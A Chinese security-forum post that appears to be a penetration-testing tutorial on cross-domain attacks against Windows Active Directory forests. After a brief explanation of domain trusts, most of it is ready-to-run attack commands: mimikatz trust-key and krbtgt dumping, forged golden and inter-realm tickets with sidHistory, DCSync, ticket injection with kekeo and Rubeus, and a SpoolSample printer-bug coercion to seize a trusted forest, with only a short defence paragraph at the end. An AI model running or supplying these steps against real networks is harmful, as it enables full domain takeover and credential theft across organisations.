电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1477 人浏览分享

内网渗透基石篇 | 跨域攻击分析及防御

[复制链接]
1477 0
本帖最后由 zhaorong 于 2021-8-10 16:01 编辑

前言:很多大型企业都拥有自己的内网 一般通过域林进行共享资源。根据不同职能区分的部门 从逻辑上以主域和子
域进行区分以方便统一管理。在物理层 通常使用防火墙将各个子公司及各个部门划分为不同的区域。

一、 跨域攻击方法分析

常见的跨域攻击方法:常规渗透方法(例如利用web漏洞跨域获取权限)

利用已知域散列值进行哈希传递攻击或票据攻击(例如域控制器本地管理员密码可能相同)

1.利用域信任关系进行跨域

2.利用域信任关系的跨域攻击分析
域信任的作用就是解决多域环境中的跨域资源共享问题
域环境不会无条件地接收来自其他域的凭证 只会接受来自受信任的域的凭证 在默s认情况下特定
windows域中的所有用户都可以通过该域中的资源进行身份验证。

域信任作为域中的一种机制 允许另一个域的用户在通过身份验证后访问本域中的资源。同时 域信任利用DNS
服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个域 也就不存在通过域信任
关系进行跨域资源共享了。

2. 域信任关系简介

建立域之间的信任关系 是为了一个域的用户能方便地访问其他域的资源 同时也方便了对域网络的管理和维护
这种模式在带来便利的同时 也存在很多可以被恶意攻击者利用的地方。
域信任关系可以是单向\双向信任、可传递\不可传递信任 内部\外部信任 跨域链接信任(cross link trust)等类型例如2个
域之间有单向可传递的外部信任关系。同一个森林(Forest)内部的域信任关系 一般隐含为双向可传递的内部信任关系。

域信任关系分为单向信任和双向信任。

单向信任是指在两个域之间创建单向的信任路径 即在一个i方向上是信任流 在另一个方向上是访问流 在受信任域和信任域之间
的单向信任中,受信任域内的用户 或者计算机 可以访问信任域内的资源 但信任域内的用户无法访问受信任域内的资源也就是
说A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。

双向信任是指两个单向信任的组合 信任域和受信任域彼此信任,在两个方向上都有信任流和访问流。这意味着 可以从两个方向
在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向可传递的。在创建字域时 会在新的父域和子域之间自动
创建双向可传递信任关系,从下级域发出的身份验证请求可以通关其父域向上流向信任域

域信任关系也可以分为内部信任和外部信任两种。

在默认情况下,伸用活动目录安装向导将新域添加到域树或林根域中 会自动创建双向可传递信任 在现有林中创建域树时将建立
新的树根信任,当前域树中的两个或多个域之间的信任关系被称为内部信任。这种信任关系是可传递的。例如,有三个子域
BA,CA,DA,BA域信任CA域,CA域信任DA域,则BA域也信任DA域。

外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的 而且是单向的。从Windows server 2003
域信任关系变为双向的,且可以通过信任关系进行传递。在Windows操作系统中,只有Domain Admins组中
的用户管理域信任关系。

999.JPG

3.获取域信息

在域中 Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。
在默认情况下 该组包含林中所有域控制器上具有Administrators权限的成员。
whoami /all    查看lab域内计算机的当前权限

998.JPG

LG.exe lab\.    枚举lab域中的用户组

996.JPG

LG.exe \\dc    枚举远程机器的本地组用户

992.JPG

两域存在域信任关系 且当前权限被另一个域信任

LG.exe \\dc -lu

991.JPG

lg \\dc -lu -sidsout    获取远程系统中全部用户的SID

990.JPG

lg \\dc\administrators -sidsout    获取指定组中的SID

899.JPG

在这里要使用LG.exe 工具。

二、 利用域信任密钥获取目标域的权限

1.首选搭建符合条件的域环境。
域林内信任环境的具体情况如下

父域的域控制器: dc.testx.com ( Windows Server 2008 R2 )。

子域的域控制器: us.testx.com( Windows Server 2012 R2 )。

子域内的计算机: pc.testx.com ( Windows 7)。

子域内的普通用户: us\test

1.使用mimikatz在域控制器中导出并伪造信任密钥 使用kekeo请求访问目标域中目标服务的TGS票据
使用这两个工具,渗透测试人员便可以创建具有sidHistory 的票据 对目标域进行安全测试。
  1. mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test[        DISCUZ_CODE_0        ]quot; "lsadump::trust /patch" exit
复制代码

888.JPG

2.获取信息后 在域内计算机( pc.us.pentest.test.com )中使用普通域用户权限( sub\test )执行即可。

3.使用mimikatz创建信任票据
  1. mimikatz "Kerberos::golden /domain:sub.test.com /sid S-1-5-21-3265761439-1148378407-2742098900 /si
  2. ds:S-1-5-21-2850215151-526022293-2118279608  /rc4:3e0208a9073c8be3801600f311457fcd    /user:Dart
  3. hVader /service:krbtgt /target:pentest.lab /ticket:test.kirbi" exit
复制代码

domain 参数用于指定当前域名; sid 参数用于指定当前域的SID; sids 参数用于指定目标域的SID(在本实验中
为519表示渗透测试人员创建的用户属于目标域的管理员组); rc4 参数用于指定信任密钥; user 参数用于指定
伪造的用户名; service 参数用于指定要访问
的服务; target 参数用于指定目标域名; ticket 参数用于指定保存票据的文件名。需要注意的是 第一次访问域控
制器时的提示文字重复是由mimikatz执行时的输出异常造成的。

887.JPG

4.利用刚刚创建的名为test.kirbi的信任票据获取域中目标服务的TGS并保存到文件中。
  1. Asktgs test.kirbi CIFS/pentest.pentest.lab
复制代码

5.将获取的TGS票据注入内存
  1. Kirbikator lsa CIFS.pentest.pentest.lab.kirbi
复制代码

6.访问目标服务
  1. dir \\dc.test.com\C$
复制代码

2. 利用krbtgz散列值获取目标域的权限

1.使用mimikaz,可以在构建黄金票据时设置sidHistory。
因此,如果攻击者获取了林内任意域的krbtgt散列值,就可以利用sidHistory获得该林的完整权限。下面我们就来分析这一过程
首先 使用PowerView在域内计算机( pc.sub.test.com )中使用普通城用户( sub\test )权限获取当前域和目标域的SID 获取域用
户SID的常用命令有"wmic useraccount get name,sid" "whoami/user" "adfind.exe -sc u:test|findstr sid" "powerview"。

886.JPG

2.在域控制器上使用mimikatz获取krbtgt 散列值。
  1. mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt"
  2. sekurlsa::krbtgt exit
  3. sekurlsa::krbtgt
复制代码

882.JPG

3.获取目标域的权限。
  1. mimikatz "Kerberos::golden /user:Administrator /domain:sub.test.c
  2. om /sid:    /sids:    /krbtgt:    /ptt" exit
复制代码

user参数用于指定用户名: domain参数用于指定当前域名: sid参数用于当前城的SID; sids参数用于指定目
标域的SID在本实验中为519,代表渗透测试人员创建的户属于目标域的管理员组): krbtgt 参数指定krbtgt
散列值: ptt 表示将票据往人内存。

881.JPG

4.输人如下命令,访问目标服务
  1. dir \\dc.test.com\C$
复制代码

3.外部信任和林信任

环境:

当前林的城控制器: dc.a.com ( Windows Server 2012 R2).

目标林的域控制器: bdc. b.com ( Windows Server 2012 R2 )

当前域的域控制器: adc1.a.com ( WindowServer 2012 R2)

目标域的城控制器: bdc1.b.com ( Windows Sever 212)

1.利用信任关系获取信任域的信息

因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。

在本实验中,使用adfind 工具获取信任域的完整信息。下面以获取Administrator用户的详细信息

输入如下命令,导出全部用户的信息
  1. adfind -h bdc1.b.com -sc u:Administrator
复制代码

880.JPG

通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。

2.使用powerview定位敏感用户

执行如下命令 列出目标域用户组中的外部用户
  1. .\PowerView.ps1
  2. Get-DomainForeignGroupMember -Domain B.com
复制代码

699.JPG

4. 利用无约束委派和MS-RPRN获取信任林权限

如果攻击者已经获取了域林中某个域权限 就可以使用MS RPRN的RpcRemoteFindPrinterChangeN
otification(Ex)方法使信任林的城=域控制器向已被控制的服务器发送身份认证请求 利用捕获的偏偏
据获取信任林内任意用户的散列值。

实验:

1.首先,输人下列命令 在dc.a.com上使用rubeus工具(7-2)监控身份认证请求。i

nterval用于设置健康的时间间隔,filteruser指定需要关注的用户。
  1. Rubeus.exe monitor /interval:5 /filteruser:BDC$
复制代码

2.开启监听后,在命令行环境中执行如下命令 使用SpoolSample工具(7-3)让目标域控制器
bcd.b.com向dc.a.com发送身份认证请求
  1. SpoolSample.exe bdc.b.com dc.a.com
复制代码

3.保存其中的TGT数据。

4.清除TGT数据文件中多余的换行符 将票据注入
  1. Rubeus.exe ptt /ticket:<TGT数据>
复制代码

5.使用mimikatz获取目标域的kebtgt散列值。使用mimikatz的dcsync模拟域控制器向目标
域控制器发送请求(获取账号密码)。
  1. mimikatz.exe "lsadump::dcsync /domain:B.com /user:B\krbtgt" exit
复制代码

6.构造黄金票据将其注入内存 获取目标域控制器的权限。
  1. mimikatz.exe "Kerberos::golden /user:Administrator /domain:B.com /sid:    /rc4:    /ptt" exit
复制代码

7.访问目标服务
  1. dir \\bdc.b.com\C$
复制代码

三、 防范跨域攻击

内网中的Web应用比公网中的Web应用更脆弱。放置在公网中的Web应用服务器住往会配置WAF等设备
还会有专业的维护人员定期进行安全检测。放置在内网中的Web应用服务器
大多为内部办公使用(或者作为测试服务器使用 所以 其安全性受重视程度较低往往会使
用弱口令或者存在未及时修复的补丁

攻击者在获取当前域的域控制器的权限后 会检查城控制器的本地管理员密码是否与其他的域控制器本地管理员密码相同
以及在两个域之间的网络没有被隔离的情况下是否可以通过哈希传递进行横向攻击等。在很多公司中,虽然为不同的部
门划分了不同的域,但域管理员可能是同一批人,因此可能出现域管理员的用户名和密码相同的情况。在日常网络维护
中需要养成良好的安全习惯,才能有效地防范跨域攻击。

总结:在内网大环境中 不同的域环境 环境构造不同 这篇文章主要讲了一些
跨越攻击的方式和通过熟悉一些工具来实现跨域攻击。每个部门的域环境不同 想取得域控制器
就得多学一些方法来突破。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.